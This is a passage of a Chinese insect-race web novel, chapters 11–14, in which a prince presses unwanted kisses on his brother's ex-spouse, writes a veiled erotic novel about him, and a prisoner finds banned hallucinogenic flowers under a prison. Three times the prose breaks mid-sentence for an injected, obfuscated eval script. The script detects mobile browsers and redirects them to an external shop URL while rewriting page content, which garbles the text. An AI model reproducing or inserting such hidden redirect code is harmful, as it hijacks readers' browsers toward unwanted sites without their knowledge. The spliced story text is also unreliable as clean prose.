“没关系,我倒也能理解,”莫利将诊疗簿丢在桌子上,“在我给你做精神力疏导前,你的精神领域已经濒临塌陷,精神领域濒临崩溃的雌虫会本能地渴求一些刺激的事来宣泄,比如杀戮带给你的刺激,再比如雄虫给予你的刺激。” “嫂子有幻想过哥哥以外的雄虫吗?嫂子精神领域这么紊乱,如果一只S级雄虫站在你的面前,你没有什么想法吗?”莫利露出了极尽诱惑的笑容,低沉蛊惑的声音像精心编织的蛛网,引诱着落网的飞蛾。 11. 第 11 章 欧文在此之前从来没有幻想过任何一只雄虫。 雄虫是稀有的,但达到上将军衔的雌虫拥有特权,可以根据所获军功指定一个雄虫作为自己的配偶,军功越多能指定的雄虫等级越高。 因此他的同僚们在当上上将后都迫不及待地指定了自己的雄虫配偶,并一再向他炫耀拥有一只雄虫的好处。 他的一位上将同僚曾不解地问他:“欧文,你为什么还没指定自己的雄虫伴侣?该不会是想积攒军功指定一个高等级雄虫吧,其实B级雄虫就很好了,你现在的军功都能指定A级雄虫了,不要再等了,S级雄虫是可遇不可求的。” 他并不是像同僚说的那样在肖想S级雄虫,他只是从来没有幻想过任何雄虫。 但莫利提醒他后,他的脑海中却开始不受控制地幻想起了那样的场景。 如果真的是面前这个S级的雄虫…… “一只S级雄虫,如果他触碰你,你会颤抖吗。”莫利指尖轻轻触碰着欧文的脸颊和耳廓,满意地看着对方在自己指尖下的细微反应,“罗丝一定没有给过你这种感受吧,他的精神力只有B级。” “一只S级雄虫,如果他和你接吻,你会感到喜悦吗。” 莫利顺手摘下金丝边眼镜,捧起欧文的脸吻上了他的唇。 莫利早就幻想过,雌虫的薄唇亲起来触感应该很好,而事实也确实如他所想。他原本只是想浅尝辄止,结果却欲罢不能了。 他有些懊恼自己心怦怦跳个不停,像个没见识的幼稚雄虫一样。但很快他便得意地发现欧文的心跳比他的更剧烈,于是便起了坏心思,试探着想要加深这个吻,放在对方身上的手也越来越不规矩。 “等一下。”欧文推开莫利,想要跟亲王殿下讲道理。 莫利重新亲了上去,把欧文没有说完的话堵回了嘴里。 欧文:“我是你哥哥的……” 再亲。 欧文锐利的眉眼闪过一丝迷茫:“殿下,我是说……” 用力亲。 就这样几分钟过去,欧文未能说出一句完整的话。 莫利十分熟练地倒打一耙:“你分明就是发现自己一说话,我就会亲你,所以才故意不停的说话想让我亲你。” 欧文满脸通红,眉头一皱,十分严肃地想解释,结果又被亲麻了。 “还有话说吗。”莫利问。 欧文认命地低下头:“没有了,殿下。” 欧文的薄唇被亲的红润,莫利看得眼热,又想再次亲上去。 但就在这时,他的终端闪烁了两下。 莫利瞥了一眼扫兴的终端,原来是罗丝公爵发来了通话请求。 接通通讯后,莫利故意把通话开了外音,微笑着将食指抵在唇边,对欧文比了个噤声的手势。 “弟弟,你在第三监狱吗?伊莱尔在你身边吗?”罗丝公爵焦急的声音传来。 莫利摆弄着欧文的头发,心不在焉地说:“他不在我身边,怎么了哥哥?” 罗丝气愤地说道:“我听说第三监狱把伊莱尔送去了角斗场,他怀着我的虫蛋,怎么能让他去那种地方,万一伤到虫蛋了怎么办,第三监狱实在太过分了,弟弟你帮我教训一下他们。” “哥,伊莱尔肚子里的虫蛋早就已经没有了,在他被送到角斗场以前就没有了。”莫利毫不掩饰地告诉了罗丝这个残酷的事实。 “什么?!”罗丝惊怒地拔高了音量,“为什么没有了,这可是我的第一颗虫蛋!” “缺少精神力安抚。”莫利遗憾地说。 “都是借口,”罗丝又急又气,“就算缺少精神力安抚,他也不应该放任虫蛋流产,麦麦汀的雌君不也怀了虫蛋吗,麦麦汀也几乎没给过他的雌君精神力安抚,他的雌君怎么没流产?” 麦麦汀是罗丝和莫利共同的朋友,他比罗丝更加的花心,心思全在更年轻帅气的新雌侍身上,几乎没给过自己的雌君任何精神力安抚,但被冷落的雌君却给麦麦汀生了一个健康的小虫崽,如今还怀了二胎虫蛋,麦麦汀经常拿这件事来炫耀。 罗丝理所当然地觉得所有的雌虫都该像麦麦汀的雌君那样:“为什么麦麦汀的雌君就能靠注射安抚剂保住虫蛋,偏就他不行。” 罗丝喋喋不休的抱怨声环绕在房间内。 莫利无声注视着欧文的眼睛,一只手抚上欧文的腹部,眼底闪过一丝笑意。 你看,你没保住肚子里的虫蛋,你的雄虫配偶不要你了。 欧文却并没有像莫利想的那样露出受伤的神情。 他脸上的热度还未散去,浑身细胞都还沉浸在刚刚接吻带来的紧张感里,罗丝的话并没有带给他什么触动。 这时他看到莫利在用口型无声地对他说:难过吗? 难过? 欧文意识到自己此时好像是应该难过的,因为他现在的身份是伊莱尔。 于是他十分配合地皱了一下眉来显示自己的伤心,然后也用口型回复莫利:难过。 莫利同情地揉了揉欧文的头发。 多么可怜的雌虫,听到罗丝公爵绝情的话一定伤心坏了吧,看来只能安慰安慰他了。 莫利一点点朝着欧文凑近,先是亲吻他的耳垂,再然后是脸颊,接着唇瓣相贴。他不满足于浅尝辄止,舌尖撬开了雌虫的牙关,唇齿交融。 对方一开始还在躲避他的吻,但很快就放弃了挣扎,甚至渐渐地开始回应他。 罗丝抱怨了半天,没有听到莫利的回应,反而听到了一些怪异的声音,于是狐疑地问道:“莫利,你有在听我说话吗?” “哥哥,我在听。”莫利又换着角度亲了欧文两下,这才结束了这个吻。 莫利语气温和地安慰道:“不要生气,哥哥,注射安抚剂对雌虫身体副作用极大,很多雌虫不愿注射也是情有可原,你的新雌侍会再给你一个虫蛋的。”你的旧雌君我就笑纳了。 罗丝叹了口气:“你说的对,卡连很乖,一定不会像伊莱尔那样连个虫蛋都护不住。” 卡连是罗丝的新雌侍,善解虫意而且非常能赚钱,最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338464|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分受罗丝的宠爱。 . 罗丝公爵此时正在一家酒店的包厢里和麦麦汀喝酒,麦麦汀还带上了自己的新雌侍来陪酒。 结束了和莫利的通话后,罗丝忍不住向麦麦汀诉苦:“麦麦汀,刚刚莫利告诉了我一个噩耗,我那该死的雌君肚子里的虫蛋没了,好好的虫蛋怎么会没了呢?” 麦麦汀心头一跳,回忆起角斗场上莫利充斥着可怕占有欲的眼神。 那雌虫肚子里的虫蛋该不会是被莫利玩没了吧?麦麦汀暗搓搓地猜测着,越想越有可能。如果是亲王殿下的话,还真有可能做出这种事。 麦麦汀心里冷汗直流,拼命想着说辞打圆场,“旧的不去新的不来,虫蛋没了就没了,下一枚虫蛋更好。” 罗丝摇了摇头,清秀的脸上流露出不甘:“毕竟是我的第一枚虫蛋,对我来说意义非凡,如果伊莱尔现在在我身边,我一定要好好教训他,一个连虫蛋都护不住的雌虫简直可恶,竟然还拿缺少精神力安抚当借口。” 在雄虫和雌虫缔结婚姻的那一刻,雌虫就被打上了雄虫的烙印,哪怕离婚,这种关系也不会终结。因此即使已经办理了离婚手续,罗丝依旧把伊莱尔和虫蛋视作自己的所有物,而伊莱尔没有保护好他的虫蛋,就是身为雌虫最大的罪过。 麦麦汀知道罗丝心里在想什么,于是跟着帮腔,“确实可恶,我的雌君怀虫蛋时我也没给过精神力安抚,他照样把虫蛋生下来了,缺少精神力安抚完全是借口。” 罗丝冷哼一声:“之前莫利答应我的,要帮我关照伊莱尔和肚子里的虫蛋,也不知道关照到哪里去了。” 估计关照到床上去了。麦麦汀淡定地端起酒杯抿了一口酒。 “我看我还是亲自去监狱看看到底怎么回事。”罗丝继续说。 麦麦汀心想罗丝真要这个时候过去,八成要坏了莫利的好事。于是他放下酒杯,悄悄地给自己的雌侍使了个眼色。 雌侍心领神会,借着给罗丝倒酒坐到了罗丝身边,十分暧昧地靠在了罗丝的身上。 小美虫投怀送抱,罗丝很快把自己的雌君伊莱尔抛到了脑后:“你这新雌侍是个亚雌?” 麦麦汀勾唇,坏笑道:“是啊,公爵殿下还没试过亚雌的滋味吧,我家这只小亚雌柔软水润,只要尝过一次,包你念念不忘。” 罗丝被勾起了兴趣,将亚雌搂进自己怀里:“麦麦汀,还是你有本事,你总是能找到这么多有意思的雌虫和亚雌。” 说完,罗丝像是想到什么,犹豫了一下才神神秘秘地对麦麦汀说:“我是看在你把自己的雌侍让给我的份上才提醒你的,莫利那家伙……可能看上你的雌君了!” “竟然有这种事?”麦麦汀特别惊讶。 罗丝唏嘘道:“是啊,他最近写了一本小说,主题是爱上朋友的雌君,感觉是在隐喻你,想绿了你呢。” 麦麦汀尴尬地笑了两声。恐怕你不知道,莫利想绿的不是我,而是你呢。 这一刻,罗丝和麦麦汀都在由衷地同情对方。 12. 第 12 章 莫利在监狱里占足了嫂子的便宜,临近分别时,他心情很好地决定送给嫂子一个特别的礼物。 他从抽屉里取出一本书来,“嫂子,你今天在角斗场表现得很好,这本书是我写的,就送给你作为奖励了。” “不必了殿下,您不必给我什么奖励。”欧文垂着头平静地拒绝道。黑色的碎发掩盖住了他眼底的挣扎。 身体上的热潮退去后,他的心底开始涌上难以言喻的羞耻感。他竟然在莫利给他做精神力疏导的时候身体起了反应,而且还在罗丝来电话时偷偷和莫利接吻。 他都做了什么。他疯了。 莫利微微一笑,“其实我送你这本书也是想让你帮我个忙,希望嫂子不要拒绝我。” 欧文沉默了片刻,说:“殿下想让我做什么?” 莫利端正了神色,一本正经地说道:“是这样的,这本书是我新出版的,但是只写了一部分还没写完,接下来的内容我实在不知道怎么写了,最近出版社催稿催得急,希望嫂子看完后能给点建议,如果能帮我续写一部分就更好了。” 说完握住欧文的手,将书十分郑重地放在对方的手里。 欧文垂眸看着自己手中还没拆封的书。书本用精美的包装盒严丝合缝地密封着,包装得十分华丽。 原来亲王只是想拜托他给新出版的书提点建议。欧文心里莫名松了口气。 亲王今天帮他做了精神力疏导,治愈了困扰他很长时间的精神领域,如今只是吩咐他这样一件小事。 他之前其实也出版过几本书,不过都是关于作战指挥方面的。 不知亲王这本书写的是什么内容,考虑到亲王平时热衷于政务,这很有可能是一本关于政务处理方面的书。这样的话他就得仔细研读了。 欧文将书收了起来,神色认真地说道:“殿下,请借给我一支笔,我可能需要做一下标注。” 莫利挑了挑眉,很好说话地从抽屉里取出一支笔给了欧文,“好,给你一支笔。” . 莫利千叮咛万嘱咐让欧文一定要好好阅读自己送的书,在得到对方一定会认真研读的保证后,便心满意足地离开了监狱。 从监狱里出来,莫利坐上了自己的私虫飞船。面色红润,神清气爽,一副餍足了的模样。 辅佐官麻乙默默地驾驶着飞船,完全不敢吱声。 “麻乙,我猜你一定特别好奇发生了什么。”莫利悠悠说道。 麻乙:“不,殿下,我并不好奇。”您可以不用讲给我听。 莫利:“既然你这么好奇,我就告诉你好了。” 麻乙:“……” 于是莫利用了十几分钟的时间绘声绘色讲述自己今天的经历:在角斗场观看嫂子和异兽搏斗,给嫂子做精神力疏导,以及在嫂子主动投怀送抱下,他实在不好拒绝,只能勉为其难给他哥戴了绿帽子。 莫利的身体陷进柔软舒适的沙发里,交叠着双腿,双臂搭在沙发靠背上,脸上露出陶醉的笑容:“他的嘴唇很软,唇色很淡,但是亲久了就会变得很红,你知道红色海湾这种花的花瓣吗,就是那种颜色,一开始他很不坦诚,竟然还拒绝我,但后来就很主动。” 麻乙:“……” 麻乙十分想屏蔽掉亲王殿下的精神污染。 在讲完自己今天的经历后,莫利又开始对麻乙指指点点:“一看你就没接过吻,真可怜。” 麻乙面无表情地开着飞船。好了殿下你别说了,知道你刚刚成功接吻了。 接下来莫利又花了一路的时间给麻乙科普接吻的重要性,长期不接吻会导致激素失调,变成一只精神状态堪忧的虫,很多犯罪都是罪虫长期不接吻导致的,接吻能够有效促进虫族繁衍,研究表明经常接吻能够改善体质,更有利于孕育出体格健壮的后代…… 下了飞船,被莫利教育了一路的麻乙惊恐地发现,他竟然顺着亲王的思路也觉得接吻和呼吸一样重要了。 他竟然又被亲王殿下洗脑成功了。 麻乙想起了三年半前的自己,那个时候他刚成为莫利的辅佐官,全家都以他为荣,他就读过的学校把他列为优秀校友,曾经瞧不起他的虫们都扭头来巴结他。 那时的他充满了雄心壮志,他觉得这个世界留给他的舞台那么大,正直伟大的亲王殿下一定会带领他走向更加辉煌的世界。 而如今,麻乙已经不是麻乙,而是麻木了。 . 回到家后,莫利简单处理了一下积压的政务,便登录上了绿油油小说网站,切换到作者后台。 他的新书《亲王的专属小辣椒》从开文后一直霸占着网站阅读榜榜首,收藏量和点赞量都一骑绝尘。 他这两天行程排的比较满,所以就没更新,评论区的读者们都在催更。也是时候该更新了。 或许是今天和伊莱尔在监狱里接吻带来的灵感,莫利感觉自己简直文思如泉涌。 他用精神力连接上智脑,闭上眼睛躺在沙发上,悠闲地操纵精神力在智脑上写作。短短一个小时便写了几万字。 按照原本他计划的大纲,剧情应该是进行到了虐心的地方,但他今天心情太好实在写不了虐文,于是虐心的剧情硬生生朝着甜宠文的方向一去不复返。 洋洋洒洒几万字全是主人公之间的甜蜜互动,光吻戏就写了一万多字。 新章节发布出去后,立马被网站编辑推荐到了网站首页的黄金位置,大批读者涌入,短短几分钟内评论区就多出了几万条关于剧情的讨论。 [还以为要开虐了,本来都不敢看了,没想到竟然这么甜,我太爱了] [等了两天没白等,胶囊老师太会写了] [胶囊老师写甜文也好好看啊,多写一点吧] [迫不及待想看下面的剧情了,催更催更] [第一次看到胶囊老师写这么甜的剧情呢] 这次确实是莫利第一次花这么多笔墨写细水长流的温情剧情,评论区的风向渐渐从讨论剧情歪到了白色胶囊为何会写这样的剧情。 最开始是有位读者发了这样一条评论:[为什么白色胶囊这次一反常态写起甜宠来了,换做以前至少虐个几百万字,是发生什么事了吗] 这个评论一出现直接被盖了几千楼,最开始还是理性讨论,最后竟然渐渐升级为了骂战。 [白色胶囊可是强取豪夺的开山鼻祖,以前他写的文都是虐死虫不偿命的,还动不动就BE,这次写甜宠确实有点反常] [该不会是和雄虫约会了吧,白色胶囊写小说赚的钱够申请和雄虫约会好多次了,运气好的话说不定还能约到A级雄虫,真羡慕啊] [楼上怎么擅自敲定胶囊老师的性别了,胶囊老师也可能是雄虫呀] [白色胶囊怎么可能是雄虫,白色胶囊的小说虽然都挺虐的,但结局可都是1v1啊,哪有雄虫会坚持写1v1呀,只有雌虫才会幻想这种不切实际的事情] [不要胡乱猜测,胶囊老师想写什么就写什么] [楼上你管大家怎么猜?花了钱为什么不能猜,不服气出来打一架?] [好啊打就打,正巧最近手痒了] 乌烟瘴气的骂战最终还是惊动了网站管理员,管理员亲自把引战的评论全删除了,骂战才平息。 但莫利并不知道评论区发生的这一切,他一般都是隔几天才看一次评论区,这次更新完了就伸了个懒腰踱步到卧室准备睡觉了。 莫利卧室的床很宽敞,无论怎么翻滚都不会掉落,头顶是他亲自设计的星空穹顶,关上灯后星光便会洒落在床上。 他躺在床上看着穹顶闪烁的星光,又想起监狱里的那个雌虫。那雌虫的眼睛也像这暗夜和星光,漆黑深邃却又光华流转。 接吻的时候,嫂子以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338465|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低下头自己就没办法发现他脸红了,实际上绯红的颜色已经蔓延到了脖颈和耳根,根本无处可藏。 他又百无聊赖地想着嫂子为什么平时穿衣服都把自己遮的严严实实,明明角斗场时不穿上衣就很好看。难道是罗丝平时管教的太严了?如果他躺在自己床上,自己一定不会让他穿那么多衣服。 莫利翻了个身,第一次觉得自己身下的床有些大了。 . 首都星第三监狱。 已经凌晨三点,所有的囚室都统一熄灭了灯。 第三监狱的内部环境十分恶劣,囚室狭小闷热,除了一张床外便再没有别的家具,而且囚室内配备的床十分窄小,勉强能容纳下一个成年雌虫。 欧文把莫利赠送的还未拆封的书和笔郑重地放在床上,而他自己则盘腿坐在墙角闭目养神。 巡逻的狱警打着哈欠从囚室门口经过,脚步声渐行渐远。 狱警的脚步声消失后,欧文悄无声息地睁开了眼睛。 此时夜深人静,守夜的狱警在这种时候也会放松警惕,正适合他悄悄窥探监狱的情况。 上次在监狱地下发现的地下通道令他耿耿于怀,这个第三监狱肯定大有问题。只是上次他利用精神力窥探的时候遇到了一堵屏障阻止他继续向前,今天他打算再试一次。 欧文调动自己的精神力悄悄探入地下,朝着上次发现的隐秘通道蔓延而去。 或许是亲王刚给他做过精神力疏导的原因,欧文惊讶地发现这次使用精神力比以往都要得心应手。 以前使用精神力时或多或少会有一些阻滞感,时间长了他甚至习以为常了,但莫利给他做过精神力疏导后,那些阻滞感便一扫而空了。 欧文心里升起一种奇怪的情绪,像是心脏突然被烫了一下。他很快把这股陌生的情绪压了下去,继续操纵着精神力向前。 很快他便找到了上次发现的那条狭窄通道,沿着通道前进了一段距离之后,他再次遇到了上次的那堵屏障。 但这次因为精神领域被亲王治愈的原因,精神力的爆发力也增强了,他只是试探着凝聚起精神力撞.击了几次,便穿透了屏障长驱直入。 接着映入眼帘的,是一片红色的花海,妖艳的红色花朵像跳跃的火焰,密密麻麻地盛开着。 欧文很快便辨认出这是帝国的禁花——红色海湾。 红色海湾这种花最初只生长在萨拉星的港口,花瓣的颜色是种诡异的红,远远望去就像整个海湾都被染成了红色,因此得名红色海湾。 这种花的花香有致幻的功效,过量吸入花香会导致短暂失忆,如果长期接触这种花,便会在痛苦的梦境中死亡。由于红色海湾危害性实在太大,早就被帝国列为禁花,严禁私下种植。 而这个第三监狱的地下通道连通的,竟然是一片红色海湾花田。 究竟是谁在做这种事,目的是什么? 欧文眸中涌动起一抹暗色,他按下心底的惊诧,操纵精神力继续向前窥探,却发现前方已经没了路。 于是他默默将精神力收回,像是什么都没发生过一样,平静地闭上眼睛继续闭目养神。 时间一分一秒过去,几个小时后,天亮了。阳光透过窗户照进来,照亮了漆黑的囚室的一角。隔壁囚室的罪虫们也陆陆续续起床。 一夜没睡的欧文睁开眼睛,借着窗外照进来的微弱的光线,他瞥到了床上那本莫利送他的书。 欧文若有所思地将这本未拆封的书拿了起来。 亲王交代他的事他还是很重视的,无论这本书写的什么内容,他都会认真读完,亲王希望他给这本书提建议,他也会满足亲王的心愿。 欧文将包装盒上的密封条揭下,打开包装盒,郑重地将里面的书取了出来。 定睛一看,只见书的封面上赫然印着几个烫金大字——《亲王的专属小辣椒》。 13. 第 13 章 亲王的专属小辣椒? 书名完全出乎欧文的预料,这是关于辣椒种植的书? 欧文又联想到莫利是医学系毕业的,那么这本书也有可能是一本医学相关的书籍。 他还以为亲王给他的会是一本公务方面的著作。 欧文默默地翻开书的第一页,却发现书中的内容和他预想的任何一种情况都不同。 开篇是一段景色描写,描写的是一个伯爵的庄园。庄园里正在召开一场宴会,伯爵邀请了许多自己的朋友前来做客,其中就包括莫利亲王。 只见书中写到:[莫利收到伯爵的宴会邀请,原本他是不想去的。 伯爵前段时间刚刚因为一些事情触怒了他,朋友关系已经濒临破碎。但在伯爵的一再恳求下,他还是答应了对方的邀请。 一定又是一场无趣的宴会,去了之后喝杯酒就走,绝不过多停留。莫利心想。] 什么意思?这是亲王的自传? 欧文的潜意识提醒他这本书不对劲。但是他已经答应过亲王了,要好好把这本书读完。 欧文翻开书的下一页,继续往下看去。 [这场宴会就和莫利预想的一样无聊,他端着酒杯心不在焉地应付着凑上来巴结他的虫们。 就在这时,一个雌虫和他擦肩而过,像一道光从他视野里一闪而过。 从他身边经过的与会者那样多,他却只注意到了这个雌虫。明明是炎炎夏季,对方却穿着长袖长裤的制服,和在场的所有虫都格格不入。 莫利下意识地叫住了他:“你,过来。” 雌虫转过身恭顺地朝他行礼:“殿下。” 和雌虫四目相对的一瞬间,莫利感受到自己沉寂的心脏怦然跳动起来,他的脑海中只剩下了一个想法:他要得到这个雌虫,无论用何种手段。] [宴会结束后,莫利向侍者打听这个雌虫的身份。 侍者告诉他那是伯爵的雌君小辣椒,和伯爵结婚后没多久就失去了伯爵的宠爱,还因为得不到雄虫的精神力安抚而流产了,流产后伯爵更是厌恶他,动辄对他冷嘲热讽。] 在看了几页之后,欧文意识到书中的伯爵和小辣椒都是虚构出来的。这并不是一本自传,而是亲王拿自己做主角的同虫文小说。 欧文曾经没收过下属的小说,其中便有这种题材。他曾粗略翻阅过没收来的同虫文,文中的内容在他看来都是对亲王殿下的亵渎。但这本书是亲王自己写的,内容应该不至于太夸张。 欧文想起莫利拜托自己帮忙给新书提建议时认真的眼神,犹豫了一下又继续往下阅读。 [过了几天,莫利又来到了伯爵的庄园说是来探望伯爵,伯爵受宠若惊,莫利却但笑不语,其实他只是找借口来看小辣椒。] [小辣椒站在伯爵身边,低垂着眼眸,和伯爵一起迎接莫利的到来。 莫利热情地握住小辣椒的手,热络道:“我和伯爵是很好的朋友,伯爵比我年长几岁,你是伯爵的雌君,也就是我嫂子了。” 伯爵惊喜于莫利亲口承认自己是他的好朋友,还说自己的雌君是他的嫂子,这不就是变相承认自己是他的好兄弟。 伯爵第一次从亲王身上感受到了亲近感。] [趁着伯爵转身的一瞬间,莫利悄悄捏了捏小辣椒的手心,贴近小辣椒的耳边低声唤了一声:“嫂子。” 小辣椒抬起头,却撞进亲王满含占有欲的眼神里。 他想抽回手,却发现亲王不肯放手。] 接下来便是大篇幅的关于暧昧氛围的描写。眼神拉丝,暗潮涌动。 这剧情进展越来越奇怪了。欧文下意识地蹙起了眉。 [为了欢迎亲王的到来,伯爵准备了一桌宴席,并且让小辣椒在身边服侍。 小辣椒不小心打碎了一个盘子,伯爵愤怒地斥责小辣椒,并抬手想要给小辣椒一巴掌。然而巴掌还没落下,莫利就握住了伯爵的手腕拦下了他的动作。 “算了吧,嫂子也是不小心。”莫利神情冷淡地说道。 吃饭的时候,莫利又悄悄地在桌下握住了小辣椒的手,小辣椒想要将手抽离,莫利却不动声色地将手握紧。] 接下来的内容便是亲王殿下找各种借口到伯爵的庄园,总是在伯爵冷落小辣椒的时候给予对方关心。暧昧的氛围如同野草般疯狂滋长。 [小辣椒第一次感受到温暖,让他觉得自己原来也是被珍重的。 他知道这样的感情是不对的,却又不由自主地被亲王吸引,就像身处黑暗中的虫会下意识地抓住生命中唯一的光。] 欧文眼中闪过一丝错愕。亲王这是写了些什么。 小辣椒不是伯爵的雌君吗,为何会对亲王动心。 [“嫂子,伯爵亲过你吗?”莫利问道。 小辣椒神色黯然,他是一个不受宠的雌君,伯爵从来没有亲过他。 莫利又说:“你想知道接吻是什么滋味吗,我教你好不好?” 莫利和小辣椒在黑暗中接吻,月光倾泻下来,像是下了一场皎洁的雪。] 文中的亲王也一直叫小辣椒嫂子,而现实中莫利也一直叫欧文嫂子,代入感实在太强了,欧文读着读着就不自觉地代入了自己。 更完蛋的是,他竟然下意识地回忆起昨天和莫利接吻的画面,并且开始本能回忆起那个吻的滋味。 [小辣椒紧张又慌乱,他背叛了自己的雄主,他不能再这样继续下去了。 于是他推开了莫利:“殿下,以后我们不要再来往了,这样是不对的。” 莫利冷下脸来,扼住小辣椒的手腕:“嫂子引诱了我又想逃?”] [为了惩罚反抗的小辣椒,莫利将他拖进小树林做了一盘爆炒小辣椒。 小辣椒紧张极了,他担心被伯爵发现,咬紧牙关不敢出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338466|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,但亲王却一次又一次地逼他。 小辣椒从亲王身上体会到了伯爵从没给过他的快乐,他第一次知道原来这种事可以这样快活。 小辣椒心想这不行,这不对。但是他的身体却告诉他他还想再来一次。] 接下来亲王便在各种场合爆炒小辣椒,树林里、落地窗前、储藏室,甚至是趁伯爵睡觉的时候,在伯爵卧室外。小辣椒每次都义正辞严地拒绝,但又每次都在亲王的攻势下沦陷,最终半推半就。 欧文瞳孔地震。 关于成年虫之间的事,他能够想到的也只是晚上、床上、例行公事。而这本书里竟然在这么多离谱的场合…… 而且文中的小辣椒也是黑发黑眸,也是喜欢穿的很严肃,亲王对他的称呼也是嫂子。 欧文是个正经虫,但并不迟钝,他已经意识到莫利写的这本书是在影射他。 这简直太荒唐了,他绝对不能再看下去了。 欧文心情复杂地合上了书,不想继续往下看了。 过了一会儿,他又犹豫着重新翻开了书。 真的不是他自己想看,只是他答应了亲王要看完这本书并给这本书提建议。 一上午过去。欧文坐在监狱里,竟然把整本书看完了。他平时阅读速度很快,但是读完这本薄薄的书竟然花了他一上午的时间。 欧文合上书愣了一会儿,内心非常疑惑。他为什么会看完这本书。 剧情很毒,但是看到最后他竟然也顺着作者的逻辑觉得小辣椒应该尽快认清自己的感情,和亲王在一起。 他惊讶地发现自己竟然被这本书给洗脑了。 欧文脸色变来变去,表情十分精彩。 就在这时,来送早餐的狱警打开囚室的门,将装有劣质营养剂的餐盘随手放在地上,刚想离开,却无意间瞥见了欧文手中的书。 “你也在看这本书啊。”狱警来了兴致。 第三监狱是允许罪虫们阅读书籍的,因此经常会有罪虫让家属送书来,狱警还以为这本书是欧文让家属送来的。 “你也是白色胶囊的粉丝?这本书我也看了,和以前的风格不太一样。”狱警把欧文归为了自己的同好。 欧文只是淡漠地抬眸看了狱警一眼,什么话都没说。 狱警觉得有些扫兴,上下打量了欧文几眼,调侃道:“突然发现,这个小说里的主角和你性格好像哦,完完全全一丝不苟的样子,大热天还穿长袖长裤,很好笑吧哈哈哈。” 说完便哈哈大笑。 欧文完全笑不出来,因为他知道这个小说里的小辣椒真的是在影射自己。 他沉下脸来,冷冷地瞥了狱警一眼。 这阴冷的眼神让狱警汗毛都立起来了。 狱警悻悻地冷哼一声,小声嘀咕道:“一个罪虫而已,还真把自己当根葱了。” 说完便重重地摔上了囚室的门。 14. 第 14 章 下午,食髓知味的莫利又来到了第三监狱,原本想直奔欧文的囚室,结果刚踏进监狱的大门,便有一份急需他审阅的法案发送到了他的办公邮箱里。 帝国议会刚刚通过了最新的《军雌保护法修正案》,要他审核通过后递交虫皇,再由虫皇批准后才能正式生效。 于是莫利便临时征用了第三监狱的办公室,又让麻乙去通知欧文到办公室来。 莫利坐在办公桌前,启动光脑投射出一块光屏,手指在光屏上点了几下,便跳转到了《军雌保护法修正案》审核页面。 新的修正案重点补充了对军雌的奖励条例,原本的《军雌保护法》规定元帅和上将军衔的雌虫可以按照积累的军功指定一位雄虫作为自己的配偶,军功越多可以指定的雄虫等级越高,但指定对象只能是平民雄虫。而这次的修正案把贵族雄虫也纳入了指定范围,当积累的军功点数达到十亿点时,便可以指定贵族雄虫作为配偶。 除此之外,还将对荣立特等功的军雌给予特别嘉奖,不但可以获得丰厚的奖金,在婚姻方面也将获得优待。 和获得特等功的军雌结婚的雄虫婚后不得再娶其他雌虫,除非获得军雌的书面同意书,雄虫才可以再娶雌侍,且数量不能超过三个。 但自从上一任元帅加兰去世后,元帅的位置一直空悬,上将也只有七位,积累够十亿点军功的更是一个也没有。而能否被授予特等功完全看虫皇的心情,目前为止这项殊荣虫皇只授予过前元帅加兰,加兰过世后便再也没有授予过任何一位军雌特等功,可以说这项战功已经成了加兰元帅的专属。 也就是说这份修正案实际上只起到一个象征性的作用,没有太大的实际意义。但即使如此也依然遭到了帝国议会很多议员的反对。 帝国议会由两千多位议员构成,其中话语权比较高的几位的议员几乎都是保守派的贵族雄虫,这份修正案令他们蒙羞,在他们眼中,再伟大的雌虫也不配指定贵族雄虫作为配偶,而且雄虫怎么可能只娶一个雌虫,简直是对雄虫利益的侵犯。 因此这份修正案遭到了保守派贵族的强烈反对。 修正案最终能通过其实还是莫利私下推动的,他在议会安插了很多心腹,心腹们在投票时都按照他的命令投了赞成票。 之所以推动这个法案,一是为了鼓励雌虫们建立军功,再就是保守派贵族把持议会太久了,他要用这个法案来削弱这些老古董们的气焰。 . 欧文推开办公室的门,便看到莫利专注办公的模样。 亲王殿下身着繁复华丽的白金制服,坐在办公桌前审阅着一份文件,姿态说不出的优雅好看。见到他进来,亲王用眼神示意他到一旁的沙发坐下,然后不紧不慢地将文件翻开下一页,“嫂子稍等我一下。” 欧文意识到莫利在处理公务,于是便没有出声打扰,安安静静地走到沙发前坐下,视线不自觉地落在莫利身上。 在遇到莫利之前,欧文遇到的雄虫都是享乐型的雄虫。但是显然莫利很不一样。 不同于那些游手好闲的贵族雄虫,莫利是真正实权在握的亲王,不出意外的话应该就是下一任的虫皇。 怎么会有雄虫这么热爱工作呢。 欧文刚想移开视线,却看到莫利活动了一下手指,然后无声地解开了一颗领口的扣子。 